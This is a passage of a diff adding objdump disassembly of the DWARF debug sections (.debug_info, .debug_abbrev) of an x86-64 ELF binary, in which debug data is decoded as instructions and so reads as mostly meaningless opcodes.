+ 4: 02 00 add al,BYTE PTR [rax]
+ 6: 00 00 add BYTE PTR [rax],al
+ 8: 00 00 add BYTE PTR [rax],al
+ a: 08 00 or BYTE PTR [rax],al
+ c: 00 00 add BYTE PTR [rax],al
+ e: 00 00 add BYTE PTR [rax],al
+ 10: 66 11 40 00 adc WORD PTR [rax+0x0],ax
+ 14: 00 00 add BYTE PTR [rax],al
+ 16: 00 00 add BYTE PTR [rax],al
+ 18: e7 00 out 0x0,eax
+ ...
+
+Disassembly of section .debug_info:
+
+0000000000000000 <.debug_info> (File Offset: 0x3087):
+ 0: b9 03 00 00 05 mov ecx,0x5000003
+ 5: 00 01 add BYTE PTR [rcx],al
+ 7: 08 00 or BYTE PTR [rax],al
+ 9: 00 00 add BYTE PTR [rax],al
+ b: 00 0d 7b 00 00 00 add BYTE PTR [rip+0x7b],cl # 8c <__abi_tag-0x4002f0> (File Offset: 0x3113)
+ 11: 0c 00 or al,0x0
+ 13: 00 00 add BYTE PTR [rax],al
+ 15: 00 0c 00 add BYTE PTR [rax+rax*1],cl
+ 18: 00 00 add BYTE PTR [rax],al
+ 1a: 66 11 40 00 adc WORD PTR [rax+0x0],ax
+ 1e: 00 00 add BYTE PTR [rax],al
+ 20: 00 00 add BYTE PTR [rax],al
+ 22: e7 00 out 0x0,eax
+ ... (skipping 8 zeroes, resuming at file offset: 0x30b3)
+ 2c: 00 00 add BYTE PTR [rax],al
+ 2e: 05 2f 00 00 00 add eax,0x2f
+ 33: 02 d6 add dl,dh
+ 35: 17 (bad)
+ 36: 3a 00 cmp al,BYTE PTR [rax]
+ 38: 00 00 add BYTE PTR [rax],al
+ 3a: 02 08 add cl,BYTE PTR [rax]
+ 3c: 07 (bad)
+ 3d: dc 01 fadd QWORD PTR [rcx]
+ 3f: 00 00 add BYTE PTR [rax],al
+ 41: 02 04 07 add al,BYTE PTR [rdi+rax*1]
+ 44: e1 01 loope 47 <__abi_tag-0x400335> (File Offset: 0x30ce)
+ 46: 00 00 add BYTE PTR [rax],al
+ 48: 0e (bad)
+ 49: 08 02 or BYTE PTR [rdx],al
+ 4b: 01 08 add DWORD PTR [rax],ecx
+ 4d: 31 01 xor DWORD PTR [rcx],eax
+ 4f: 00 00 add BYTE PTR [rax],al
+ 51: 02 02 add al,BYTE PTR [rdx]
+ 53: 07 (bad)
+ 54: 97 xchg edi,eax
+ 55: 01 00 add DWORD PTR [rax],eax
+ 57: 00 02 add BYTE PTR [rdx],al
+ 59: 01 06 add DWORD PTR [rsi],eax
+ 5b: 33 01 xor eax,DWORD PTR [rcx]
+ 5d: 00 00 add BYTE PTR [rax],al
+ 5f: 02 02 add al,BYTE PTR [rdx]
+ 61: 05 25 00 00 00 add eax,0x25
+ 66: 0f 04 (bad)
+ 68: 05 69 6e 74 00 add eax,0x746e69
+ 6d: 02 08 add cl,BYTE PTR [rax]
+ 6f: 05 fc 00 00 00 add eax,0xfc
+ 74: 05 06 02 00 00 add eax,0x206
+ 79: 03 98 19 6d 00 00 add ebx,DWORD PTR [rax+0x6d19]
+ 7f: 00 05 fc 01 00 00 add BYTE PTR [rip+0x1fc],al # 281 <__abi_tag-0x4000fb> (File Offset: 0x3308)
+ 85: 03 99 1b 6d 00 00 add ebx,DWORD PTR [rcx+0x6d1b]
+ 8b: 00 03 add BYTE PTR [rbx],al
+ 8d: 96 xchg esi,eax
+ 8e: 00 00 add BYTE PTR [rax],al
+ 90: 00 0b add BYTE PTR [rbx],cl
+ 92: 8c 00 mov WORD PTR [rax],es
+ 94: 00 00 add BYTE PTR [rax],al
+ 96: 02 01 add al,BYTE PTR [rcx]
+ 98: 06 (bad)
+ 99: 3a 01 cmp al,BYTE PTR [rcx]
+ 9b: 00 00 add BYTE PTR [rax],al
+ 9d: 10 96 00 00 00 11 adc BYTE PTR [rsi+0x11000000],dl
+ a3: 28 01 sub BYTE PTR [rcx],al
+ a5: 00 00 add BYTE PTR [rax],al
+ a7: d8 04 31 fadd DWORD PTR [rcx+rsi*1]
+ aa: 08 0c 02 or BYTE PTR [rdx+rax*1],cl
+ ad: 00 00 add BYTE PTR [rax],al
+ af: 01 44 00 00 add DWORD PTR [rax+rax*1+0x0],eax
+ b3: 00 33 add BYTE PTR [rbx],dh
+ b5: 07 (bad)
+ b6: 66 00 00 data16 add BYTE PTR [rax],al
+ b9: 00 00 add BYTE PTR [rax],al
+ bb: 01 8a 01 00 00 36 add DWORD PTR [rdx+0x36000001],ecx
+ c1: 09 8c 00 00 00 08 01 or DWORD PTR [rax+rax*1+0x1080000],ecx
+ c8: 61 (bad)
+ c9: 00 00 add BYTE PTR [rax],al
+ cb: 00 37 add BYTE PTR [rdi],dh
+ cd: 09 8c 00 00 00 10 01 or DWORD PTR [rax+rax*1+0x1100000],ecx
+ d4: 47 02 00 rex.RXB add r8b,BYTE PTR [r8]
+ d7: 00 38 add BYTE PTR [rax],bh
+ d9: 09 8c 00 00 00 18 01 or DWORD PTR [rax+rax*1+0x1180000],ecx
+ e0: 72 01 jb e3 <__abi_tag-0x400299> (File Offset: 0x316a)
+ e2: 00 00 add BYTE PTR [rax],al
+ e4: 39 09 cmp DWORD PTR [rcx],ecx
+ e6: 8c 00 mov WORD PTR [rax],es
+ e8: 00 00 add BYTE PTR [rax],al
+ ea: 20 01 and BYTE PTR [rcx],al
+ ec: 36 00 00 ss add BYTE PTR [rax],al
+ ef: 00 3a add BYTE PTR [rdx],bh
+ f1: 09 8c 00 00 00 28 01 or DWORD PTR [rax+rax*1+0x1280000],ecx
+ f8: ee out dx,al
+ f9: 01 00 add DWORD PTR [rax],eax
+ fb: 00 3b add BYTE PTR [rbx],bh
+ fd: 09 8c 00 00 00 30 01 or DWORD PTR [rax+rax*1+0x1300000],ecx
+ 104: 4b 00 00 rex.WXB add BYTE PTR [r8],al
+ 107: 00 3c 09 add BYTE PTR [rcx+rcx*1],bh
+ 10a: 8c 00 mov WORD PTR [rax],es
+ 10c: 00 00 add BYTE PTR [rax],al
+ 10e: 38 01 cmp BYTE PTR [rcx],al
+ 110: 00 00 add BYTE PTR [rax],al
+ 112: 00 00 add BYTE PTR [rax],al
+ 114: 3d 09 8c 00 00 cmp eax,0x8c09
+ 119: 00 40 01 add BYTE PTR [rax+0x1],al
+ 11c: 64 02 00 add al,BYTE PTR fs:[rax]
+ 11f: 00 40 09 add BYTE PTR [rax+0x9],al
+ 122: 8c 00 mov WORD PTR [rax],es
+ 124: 00 00 add BYTE PTR [rax],al
+ 126: 48 01 23 add QWORD PTR [rbx],rsp
+ 129: 02 00 add al,BYTE PTR [rax]
+ 12b: 00 41 09 add BYTE PTR [rcx+0x9],al
+ 12e: 8c 00 mov WORD PTR [rax],es
+ 130: 00 00 add BYTE PTR [rax],al
+ 132: 50 push rax
+ 133: 01 18 add DWORD PTR [rax],ebx
+ 135: 00 00 add BYTE PTR [rax],al
+ 137: 00 42 09 add BYTE PTR [rdx+0x9],al
+ 13a: 8c 00 mov WORD PTR [rax],es
+ 13c: 00 00 add BYTE PTR [rax],al
+ 13e: 58 pop rax
+ 13f: 01 58 00 add DWORD PTR [rax+0x0],ebx
+ 142: 00 00 add BYTE PTR [rax],al
+ 144: 44 16 rex.R (bad)
+ 146: 25 02 00 00 60 and eax,0x60000002
+ 14b: 01 0e add DWORD PTR [rsi],ecx
+ 14d: 02 00 add al,BYTE PTR [rax]
+ 14f: 00 46 14 add BYTE PTR [rsi+0x14],al
+ 152: 2a 02 sub al,BYTE PTR [rdx]
+ 154: 00 00 add BYTE PTR [rax],al
+ 156: 68 01 72 02 00 push 0x27201
+ 15b: 00 48 07 add BYTE PTR [rax+0x7],cl
+ 15e: 66 00 00 data16 add BYTE PTR [rax],al
+ 161: 00 70 01 add BYTE PTR [rax+0x1],dh
+ 164: 39 02 cmp DWORD PTR [rdx],eax
+ 166: 00 00 add BYTE PTR [rax],al
+ 168: 49 07 rex.WB (bad)
+ 16a: 66 00 00 data16 add BYTE PTR [rax],al
+ 16d: 00 74 01 0c add BYTE PTR [rcx+rax*1+0xc],dh
+ 171: 00 00 add BYTE PTR [rax],al
+ 173: 00 4a 0b add BYTE PTR [rdx+0xb],cl
+ 176: 74 00 je 178 <__abi_tag-0x400204> (File Offset: 0x31ff)
+ 178: 00 00 add BYTE PTR [rax],al
+ 17a: 78 01 js 17d <__abi_tag-0x4001ff> (File Offset: 0x3204)
+ 17c: 12 01 adc al,BYTE PTR [rcx]
+ 17e: 00 00 add BYTE PTR [rax],al
+ 180: 4d 12 51 00 rex.WRB adc r10b,BYTE PTR [r9+0x0]
+ 184: 00 00 add BYTE PTR [rax],al
+ 186: 80 01 55 add BYTE PTR [rcx],0x55
+ 189: 02 00 add al,BYTE PTR [rax]
+ 18b: 00 4e 0f add BYTE PTR [rsi+0xf],cl
+ 18e: 58 pop rax
+ 18f: 00 00 add BYTE PTR [rax],al
+ 191: 00 82 01 68 01 00 add BYTE PTR [rdx+0x16801],al
+ 197: 00 4f 08 add BYTE PTR [rdi+0x8],cl
+ 19a: 2f (bad)
+ 19b: 02 00 add al,BYTE PTR [rax]
+ 19d: 00 83 01 05 01 00 add BYTE PTR [rbx+0x10501],al
+ 1a3: 00 51 0f add BYTE PTR [rcx+0xf],dl
+ 1a6: 3f (bad)
+ 1a7: 02 00 add al,BYTE PTR [rax]
+ 1a9: 00 88 01 10 00 00 add BYTE PTR [rax+0x1001],cl
+ 1af: 00 59 0d add BYTE PTR [rcx+0xd],bl
+ 1b2: 80 00 00 add BYTE PTR [rax],0x0
+ 1b5: 00 90 01 cc 01 00 add BYTE PTR [rax+0x1cc01],dl
+ 1bb: 00 5b 17 add BYTE PTR [rbx+0x17],bl
+ 1be: 49 02 00 rex.WB add al,BYTE PTR [r8]
+ 1c1: 00 98 01 18 02 00 add BYTE PTR [rax+0x21801],bl
+ 1c7: 00 5c 19 53 add BYTE PTR [rcx+rbx*1+0x53],bl
+ 1cb: 02 00 add al,BYTE PTR [rax]
+ 1cd: 00 a0 01 b4 01 00 add BYTE PTR [rax+0x1b401],ah
+ 1d3: 00 5d 14 add BYTE PTR [rbp+0x14],bl
+ 1d6: 2a 02 sub al,BYTE PTR [rdx]
+ 1d8: 00 00 add BYTE PTR [rax],al
+ 1da: a8 01 test al,0x1
+ 1dc: 6e outs dx,BYTE PTR ds:[rsi]
+ 1dd: 00 00 add BYTE PTR [rax],al
+ 1df: 00 5e 09 add BYTE PTR [rsi+0x9],bl
+ 1e2: 48 00 00 rex.W add BYTE PTR [rax],al
+ 1e5: 00 b0 01 c2 01 00 add BYTE PTR [rax+0x1c201],dh
+ 1eb: 00 5f 0a add BYTE PTR [rdi+0xa],bl
+ 1ee: 2e 00 00 cs add BYTE PTR [rax],al
+ 1f1: 00 b8 01 41 02 00 add BYTE PTR [rax+0x24101],bh
+ 1f7: 00 60 07 add BYTE PTR [rax+0x7],ah
+ 1fa: 66 00 00 data16 add BYTE PTR [rax],al
+ 1fd: 00 c0 add al,al
+ 1ff: 01 81 01 00 00 62 add DWORD PTR [rcx+0x62000001],eax
+ 205: 08 58 02 or BYTE PTR [rax+0x2],bl
+ 208: 00 00 add BYTE PTR [rax],al
+ 20a: c4 (bad)
+ 20b: 00 05 2c 01 00 00 add BYTE PTR [rip+0x12c],al # 33d <__abi_tag-0x40003f> (File Offset: 0x33c4)
+ 211: 05 07 19 a2 00 add eax,0xa21907
+ 216: 00 00 add BYTE PTR [rax],al
+ 218: 12 86 02 00 00 04 adc al,BYTE PTR [rsi+0x4000002]
+ 21e: 2b 0e sub ecx,DWORD PTR [rsi]
+ 220: 07 (bad)
+ 221: 5d pop rbp
+ 222: 01 00 add DWORD PTR [rax],eax
+ 224: 00 03 add BYTE PTR [rbx],al
+ 226: 20 02 and BYTE PTR [rdx],al
+ 228: 00 00 add BYTE PTR [rax],al
+ 22a: 03 a2 00 00 00 08 add esp,DWORD PTR [rdx+0x8000000]
+ 230: 96 xchg esi,eax
+ 231: 00 00 add BYTE PTR [rax],al
+ 233: 00 3f add BYTE PTR [rdi],bh
+ 235: 02 00 add al,BYTE PTR [rax]
+ 237: 00 09 add BYTE PTR [rcx],cl
+ 239: 3a 00 cmp al,BYTE PTR [rax]
+ 23b: 00 00 add BYTE PTR [rax],al
+ 23d: 00 00 add BYTE PTR [rax],al
+ 23f: 03 18 add ebx,DWORD PTR [rax]
+ 241: 02 00 add al,BYTE PTR [rax]
+ 243: 00 07 add BYTE PTR [rdi],al
+ 245: c9 leave
+ 246: 01 00 add DWORD PTR [rax],eax
+ 248: 00 03 add BYTE PTR [rbx],al
+ 24a: 44 02 00 add r8b,BYTE PTR [rax]
+ 24d: 00 07 add BYTE PTR [rdi],al
+ 24f: 15 02 00 00 03 adc eax,0x3000002
+ 254: 4e 02 00 rex.WRX add r8b,BYTE PTR [rax]
+ 257: 00 08 add BYTE PTR [rax],cl
+ 259: 96 xchg esi,eax
+ 25a: 00 00 add BYTE PTR [rax],al
+ 25c: 00 68 02 add BYTE PTR [rax+0x2],ch
+ 25f: 00 00 add BYTE PTR [rax],al
+ 261: 09 3a or DWORD PTR [rdx],edi
+ 263: 00 00 add BYTE PTR [rax],al
+ 265: 00 13 add BYTE PTR [rbx],dl
+ 267: 00 0a add BYTE PTR [rdx],cl
+ 269: 33 02 xor eax,DWORD PTR [rdx]
+ 26b: 00 00 add BYTE PTR [rax],al
+ 26d: 8f (bad)
+ 26e: 72 02 jb 272 <__abi_tag-0x40010a> (File Offset: 0x32f9)
+ 270: 00 00 add BYTE PTR [rax],al
+ 272: 03 0c 02 add ecx,DWORD PTR [rdx+rax*1]
+ 275: 00 00 add BYTE PTR [rax],al
+ 277: 0b 72 02 or esi,DWORD PTR [rdx+0x2]
+ 27a: 00 00 add BYTE PTR [rax],al
+ 27c: 0a 7f 02 or bh,BYTE PTR [rdi+0x2]
+ 27f: 00 00 add BYTE PTR [rax],al
+ 281: 90 nop
+ 282: 72 02 jb 286 <__abi_tag-0x4000f6> (File Offset: 0x330d)
+ 284: 00 00 add BYTE PTR [rax],al
+ 286: 0a f0 or dh,al
+ 288: 00 00 add BYTE PTR [rax],al
+ 28a: 00 91 72 02 00 00 add BYTE PTR [rcx+0x272],dl
+ 290: 02 08 add cl,BYTE PTR [rax]
+ 292: 05 f7 00 00 00 add eax,0xf7
+ 297: 06 (bad)
+ 298: 0b 01 or eax,DWORD PTR [rcx]
+ 29a: 00 00 add BYTE PTR [rax],al
+ 29c: 06 (bad)
+ 29d: 64 01 0c 66 add DWORD PTR fs:[rsi+riz*2],ecx
+ 2a1: 00 00 add BYTE PTR [rax],al
+ 2a3: 00 af 02 00 00 04 add BYTE PTR [rdi+0x4000002],ch
+ 2a9: af scas eax,DWORD PTR es:[rdi]
+ 2aa: 02 00 add al,BYTE PTR [rax]
+ 2ac: 00 13 add BYTE PTR [rbx],dl
+ 2ae: 00 03 add BYTE PTR [rbx],al
+ 2b0: 9d popf
+ 2b1: 00 00 add BYTE PTR [rax],al
+ 2b3: 00 06 add BYTE PTR [rsi],al
+ 2b5: 7a 02 jp 2b9 <__abi_tag-0x4000c3> (File Offset: 0x3340)
+ 2b7: 00 00 add BYTE PTR [rax],al
+ 2b9: 06 (bad)
+ 2ba: 5d pop rbp
+ 2bb: 02 0e add cl,BYTE PTR [rsi]
+ 2bd: 8c 00 mov WORD PTR [rax],es
+ 2bf: 00 00 add BYTE PTR [rax],al
+ 2c1: cb retf
+ 2c2: 02 00 add al,BYTE PTR [rax]
+ 2c4: 00 04 8c add BYTE PTR [rsp+rcx*4],al
+ 2c7: 00 00 add BYTE PTR [rax],al
+ 2c9: 00 00 add BYTE PTR [rax],al
+ 2cb: 06 (bad)
+ 2cc: d5 01 00 00 {rex2 0x1} add BYTE PTR [r8],al
+ 2d0: 07 (bad)
+ 2d1: 24 03 and al,0x3
+ 2d3: 0c 66 or al,0x66
+ 2d5: 00 00 add BYTE PTR [rax],al
+ 2d7: 00 e2 add dl,ah
+ 2d9: 02 00 add al,BYTE PTR [rax]
+ 2db: 00 04 af add BYTE PTR [rdi+rbp*4],al
+ 2de: 02 00 add al,BYTE PTR [rax]
+ 2e0: 00 00 add BYTE PTR [rax],al
+ 2e2: 06 (bad)
+ 2e3: e8 00 00 00 06 call 60002e8 <_end+0x5bfc278> (File Offset: 0x600336f)
+ 2e8: 4c 01 0c 66 add QWORD PTR [rsi+riz*2],r9
+ 2ec: 00 00 add BYTE PTR [rax],al
+ 2ee: 00 08 add BYTE PTR [rax],cl
+ 2f0: 03 00 add eax,DWORD PTR [rax]
+ 2f2: 00 04 77 add BYTE PTR [rdi+rsi*2],al
+ 2f5: 02 00 add al,BYTE PTR [rax]
+ 2f7: 00 04 91 add BYTE PTR [rcx+rdx*4],al
+ 2fa: 00 00 add BYTE PTR [rax],al
+ 2fc: 00 04 66 add BYTE PTR [rsi+riz*2],al
+ 2ff: 00 00 add BYTE PTR [rax],al
+ 301: 00 04 2e add BYTE PTR [rsi+rbp*1],al
+ 304: 00 00 add BYTE PTR [rax],al
+ 306: 00 00 add BYTE PTR [rax],al
+ 308: 14 aa adc al,0xaa
+ 30a: 01 00 add DWORD PTR [rax],eax
+ 30c: 00 01 add BYTE PTR [rcx],al
+ 30e: 1e (bad)
+ 30f: 05 66 00 00 00 add eax,0x66
+ 314: 23 12 and edx,DWORD PTR [rdx]
+ 316: 40 00 00 rex add BYTE PTR [rax],al
+ 319: 00 00 add BYTE PTR [rax],al
+ 31b: 00 2a add BYTE PTR [rdx],ch
+ 31d: 00 00 add BYTE PTR [rax],al
+ 31f: 00 00 add BYTE PTR [rax],al
+ 321: 00 00 add BYTE PTR [rax],al
+ 323: 00 01 add BYTE PTR [rcx],al
+ 325: 9c pushf
+ 326: 45 03 00 add r8d,DWORD PTR [r8]
+ 329: 00 0c 58 add BYTE PTR [rax+rbx*2],cl
+ 32c: 01 00 add DWORD PTR [rax],eax
+ 32e: 00 0e add BYTE PTR [rsi],cl
+ 330: 66 00 00 data16 add BYTE PTR [rax],al
+ 333: 00 02 add BYTE PTR [rdx],al
+ 335: 91 xchg ecx,eax
+ 336: 6c ins BYTE PTR es:[rdi],dx
+ 337: 0c 1e or al,0x1e
+ 339: 01 00 add DWORD PTR [rax],eax
+ 33b: 00 1b add BYTE PTR [rbx],bl
+ 33d: 45 03 00 add r8d,DWORD PTR [r8]
+ 340: 00 02 add BYTE PTR [rdx],al
+ 342: 91 xchg ecx,eax
+ 343: 60 (bad)
+ 344: 00 03 add BYTE PTR [rbx],al
+ 346: 8c 00 mov WORD PTR [rax],es
+ 348: 00 00 add BYTE PTR [rax],al
+ 34a: 15 af 01 00 00 adc eax,0x1af
+ 34f: 01 15 06 dd 11 40 add DWORD PTR [rip+0x4011dd06],edx # 4011e05b <_end+0x3fd19feb> (File Offset: 0x401210e2)
+ 355: 00 00 add BYTE PTR [rax],al
+ 357: 00 00 add BYTE PTR [rax],al
+ 359: 00 46 00 add BYTE PTR [rsi+0x0],al
+ 35c: 00 00 add BYTE PTR [rax],al
+ 35e: 00 00 add BYTE PTR [rax],al
+ 360: 00 00 add BYTE PTR [rax],al
+ 362: 01 9c 78 03 00 00 16 add DWORD PTR [rax+rdi*2+0x16000003],ebx
+ 369: 23 01 and eax,DWORD PTR [rcx]
+ 36b: 00 00 add BYTE PTR [rax],al
+ 36d: 01 16 add DWORD PTR [rsi],edx
+ 36f: 0a 78 03 or bh,BYTE PTR [rax+0x3]
+ 372: 00 00 add BYTE PTR [rax],al
+ 374: 02 91 60 00 08 96 add dl,BYTE PTR [rcx-0x69f7ffa0]
+ 37a: 00 00 add BYTE PTR [rax],al
+ 37c: 00 88 03 00 00 09 add BYTE PTR [rax+0x9000003],cl
+ 382: 3a 00 cmp al,BYTE PTR [rax]
+ 384: 00 00 add BYTE PTR [rax],al
+ 386: 0f 00 17 lldt WORD PTR [rdi]
+ 389: 77 69 ja 3f4 <__abi_tag-0x3fff88> (File Offset: 0x347b)
+ 38b: 6e outs dx,BYTE PTR ds:[rsi]
+ 38c: 00 01 add BYTE PTR [rcx],al
+ 38e: 10 06 adc BYTE PTR [rsi],al
+ 390: c7 (bad)
+ 391: 11 40 00 adc DWORD PTR [rax+0x0],eax
+ 394: 00 00 add BYTE PTR [rax],al
+ 396: 00 00 add BYTE PTR [rax],al
+ 398: 16 (bad)
+ 399: 00 00 add BYTE PTR [rax],al
+ 39b: 00 00 add BYTE PTR [rax],al
+ 39d: 00 00 add BYTE PTR [rax],al
+ 39f: 00 01 add BYTE PTR [rcx],al
+ 3a1: 9c pushf
+ 3a2: 18 3f sbb BYTE PTR [rdi],bh
+ 3a4: 01 00 add DWORD PTR [rax],eax
+ 3a6: 00 01 add BYTE PTR [rcx],al
+ 3a8: 07 (bad)
+ 3a9: 06 (bad)
+ 3aa: 66 11 40 00 adc WORD PTR [rax+0x0],ax
+ 3ae: 00 00 add BYTE PTR [rax],al
+ 3b0: 00 00 add BYTE PTR [rax],al
+ 3b2: 61 (bad)
+ 3b3: 00 00 add BYTE PTR [rax],al
+ 3b5: 00 00 add BYTE PTR [rax],al
+ 3b7: 00 00 add BYTE PTR [rax],al
+ 3b9: 00 01 add BYTE PTR [rcx],al
+ 3bb: 9c pushf
+ ...
+
+Disassembly of section .debug_abbrev:
+
+0000000000000000 <.debug_abbrev> (File Offset: 0x3444):
+ 0: 01 0d 00 03 0e 3a add DWORD PTR [rip+0x3a0e0300],ecx # 3a0e0306 <_end+0x39cdc296> (File Offset: 0x3a0e374a)
+ 6: 21 04 3b and DWORD PTR [rbx+rdi*1],eax
+ 9: 0b 39 or edi,DWORD PTR [rcx]
+ b: 0b 49 13 or ecx,DWORD PTR [rcx+0x13]
+ e: 38 0b cmp BYTE PTR [rbx],cl
+ 10: 00 00 add BYTE PTR [rax],al
+ 12: 02 24 00 add ah,BYTE PTR [rax+rax*1]
+ 15: 0b 0b or ecx,DWORD PTR [rbx]
+ 17: 3e 0b 03 ds or eax,DWORD PTR [rbx]
+ 1a: 0e (bad)
+ 1b: 00 00 add BYTE PTR [rax],al
+ 1d: 03 0f add ecx,DWORD PTR [rdi]
+ 1f: 00 0b add BYTE PTR [rbx],cl
+ 21: 21 08 and DWORD PTR [rax],ecx
+ 23: 49 13 00 adc rax,QWORD PTR [r8]
+ 26: 00 04 05 00 49 13 00 add BYTE PTR [rax*1+0x134900],al
+ 2d: 00 05 16 00 03 0e add BYTE PTR [rip+0xe030016],al # e030049 <_end+0xdc2bfd9> (File Offset: 0xe03348d)
+ 33: 3a 0b cmp cl,BYTE PTR [rbx]
+ 35: 3b 0b cmp ecx,DWORD PTR [rbx]
+ 37: 39 0b cmp DWORD PTR [rbx],ecx
+ 39: 49 13 00 adc rax,QWORD PTR [r8]
+ 3c: 00 06 add BYTE PTR [rsi],al
+ 3e: 2e 01 3f cs add DWORD PTR [rdi],edi
+ 41: 19 03 sbb DWORD PTR [rbx],eax
+ 43: 0e (bad)
+ 44: 3a 0b cmp cl,BYTE PTR [rbx]
+ 46: 3b 05 39 0b 27 19 cmp eax,DWORD PTR [rip+0x19270b39] # 19270b85 <_end+0x18e6cb15> (File Offset: 0x19273fc9)
+ 4c: 49 13 3c 19 adc rdi,QWORD PTR [r9+rbx*1]
+ 50: 01 13 add DWORD PTR [rbx],edx
+ 52: 00 00 add BYTE PTR [rax],al
+ 54: 07 (bad)
+ 55: 13 00 adc eax,DWORD PTR [rax]
+ 57: 03 0e add ecx,DWORD PTR [rsi]
+ 59: 3c 19 cmp al,0x19
+ 5b: 00 00 add BYTE PTR [rax],al
+ 5d: 08 01 or BYTE PTR [rcx],al
+ 5f: 01 49 13 add DWORD PTR [rcx+0x13],ecx
+ 62: 01 13 add DWORD PTR [rbx],edx
+ 64: 00 00 add BYTE PTR [rax],al
+ 66: 09 21 or DWORD PTR [rcx],esp
+ 68: 00 49 13 add BYTE PTR [rcx+0x13],cl
+ 6b: 2f (bad)
+ 6c: 0b 00 or eax,DWORD PTR [rax]
+ 6e: 00 0a add BYTE PTR [rdx],cl
+ 70: 34 00 xor al,0x0
+ 72: 03 0e add ecx,DWORD PTR [rsi]
+ 74: 3a 21 cmp ah,BYTE PTR [rcx]
+ 76: 06 (bad)
+ 77: 3b 0b cmp ecx,DWORD PTR [rbx]
+ 79: 39 21 cmp DWORD PTR [rcx],esp
+ 7b: 0e (bad)
+ 7c: 49 13 3f adc rdi,QWORD PTR [r15]
+ 7f: 19 3c 19 sbb DWORD PTR [rcx+rbx*1],edi
+ 82: 00 00 add BYTE PTR [rax],al
+ 84: 0b 37 or esi,DWORD PTR [rdi]
+ 86: 00 49 13 add BYTE PTR [rcx+0x13],cl
+ 89: 00 00 add BYTE PTR [rax],al
+ 8b: 0c 05 or al,0x5
+ 8d: 00 03 add BYTE PTR [rbx],al
+ 8f: 0e (bad)
+ 90: 3a 21 cmp ah,BYTE PTR [rcx]
+ 92: 01 3b add DWORD PTR [rbx],edi
+ 94: 21 1e and DWORD PTR [rsi],ebx
+ 96: 39 0b cmp DWORD PTR [rbx],ecx
+ 98: 49 13 02 adc rax,QWORD PTR [r10]
+ 9b: 18 00 sbb BYTE PTR [rax],al
+ 9d: 00 0d 11 01 25 0e add BYTE PTR [rip+0xe250111],cl # e2501b4 <_end+0xde4c144> (File Offset: 0xe2535f8)
+ a3: 13 0b adc ecx,DWORD PTR [rbx]
+ a5: 03 1f add ebx,DWORD PTR [rdi]
+ a7: 1b 1f sbb ebx,DWORD PTR [rdi]
+ a9: 11 01 adc DWORD PTR [rcx],eax
+ ab: 12 07 adc al,BYTE PTR [rdi]
+ ad: 10 17 adc BYTE PTR [rdi],dl
+ af: 00 00 add BYTE PTR [rax],al
+ b1: 0e (bad)
+ b2: 0f 00 0b str WORD PTR [rbx]
+ b5: 0b 00 or eax,DWORD PTR [rax]
+ b7: 00 0f add BYTE PTR [rdi],cl
+ b9: 24 00 and al,0x0
+ bb: 0b 0b or ecx,DWORD PTR [rbx]
+ bd: 3e 0b 03 ds or eax,DWORD PTR [rbx]
+ c0: 08 00 or BYTE PTR [rax],al
+ c2: 00 10 add BYTE PTR [rax],dl
+ c4: 26 00 49 13 es add BYTE PTR [rcx+0x13],cl
+ c8: 00 00 add BYTE PTR [rax],al
+ ca: 11 13 adc DWORD PTR [rbx],edx
+ cc: 01 03 add DWORD PTR [rbx],eax
+ ce: 0e (bad)
+ cf: 0b 0b or ecx,DWORD PTR [rbx]
+ d1: 3a 0b cmp cl,BYTE PTR [rbx]
+ d3: 3b 0b cmp ecx,DWORD PTR [rbx]
+ d5: 39 0b cmp DWORD PTR [rbx],ecx
+ d7: 01 13 add DWORD PTR [rbx],edx
+ d9: 00 00 add BYTE PTR [rax],al
+ db: 12 16 adc dl,BYTE PTR [rsi]
+ dd: 00 03 add BYTE PTR [rbx],al
+ df: 0e (bad)
+ e0: 3a 0b cmp cl,BYTE PTR [rbx]
+ e2: 3b 0b cmp ecx,DWORD PTR [rbx]
+ e4: 39 0b cmp DWORD PTR [rbx],ecx
+ e6: 00 00 add BYTE PTR [rax],al
+ e8: 13 18 adc ebx,DWORD PTR [rax]
+ ea: 00 00 add BYTE PTR [rax],al
+ ec: 00 14 2e add BYTE PTR [rsi+rbp*1],dl
+ ef: 01 3f add DWORD PTR [rdi],edi
+ f1: 19 03 sbb DWORD PTR [rbx],eax
+ f3: 0e (bad)
+ f4: 3a 0b cmp cl,BYTE PTR [rbx]
+ f6: 3b 0b cmp ecx,DWORD PTR [rbx]
+ f8: 39 0b cmp DWORD PTR [rbx],ecx
+ fa: 27 (bad)
+ fb: 19 49 13 sbb DWORD PTR [rcx+0x13],ecx
+ fe: 11 01 adc DWORD PTR [rcx],eax
+ 100: 12 07 adc al,BYTE PTR [rdi]
+ 102: 40 18 7c 19 01 sbb BYTE PTR [rcx+rbx*1+0x1],dil
+ 107: 13 00 adc eax,DWORD PTR [rax]
+ 109: 00 15 2e 01 3f 19 add BYTE PTR [rip+0x193f012e],dl # 193f023d <_end+0x18fec1cd> (File Offset: 0x193f3681)
+ 10f: 03 0e add ecx,DWORD PTR [rsi]
+ 111: 3a 0b cmp cl,BYTE PTR [rbx]
+ 113: 3b 0b cmp ecx,DWORD PTR [rbx]
+ 115: 39 0b cmp DWORD PTR [rbx],ecx
+ 117: 11 01 adc DWORD PTR [rcx],eax
+ 119: 12 07 adc al,BYTE PTR [rdi]
+ 11b: 40 18 7c 19 01 sbb BYTE PTR [rcx+rbx*1+0x1],dil
+ 120: 13 00 adc eax,DWORD PTR [rax]
+ 122: 00 16 add BYTE PTR [rsi],dl
+ 124: 34 00 xor al,0x0
+ 126: 03 0e add ecx,DWORD PTR [rsi]
+ 128: 3a 0b cmp cl,BYTE PTR [rbx]
+ 12a: 3b 0b cmp ecx,DWORD PTR [rbx]
+ 12c: 39 0b cmp DWORD PTR [rbx],ecx
+ 12e: 49 13 02 adc rax,QWORD PTR [r10]
+ 131: 18 00 sbb BYTE PTR [rax],al
+ 133: 00 17 add BYTE PTR [rdi],dl
+ 135: 2e 00 3f cs add BYTE PTR [rdi],bh
+ 138: 19 03 sbb DWORD PTR [rbx],eax
+ 13a: 08 3a or BYTE PTR [rdx],bh
+ 13c: 0b 3b or edi,DWORD PTR [rbx]
+ 13e: 0b 39 or edi,DWORD PTR [rcx]
+ 140: 0b 11 or edx,DWORD PTR [rcx]
+ 142: 01 12 add DWORD PTR [rdx],edx
+ 144: 07 (bad)
+ 145: 40 18 7c 19 00 sbb BYTE PTR [rcx+rbx*1+0x0],dil
+ 14a: 00 18 add BYTE PTR [rax],bl
+ 14c: 2e 00 3f cs add BYTE PTR [rdi],bh
+ 14f: 19 03 sbb DWORD PTR [rbx],eax
+ 151: 0e (bad)
+ 152: 3a 0b cmp cl,BYTE PTR [rbx]
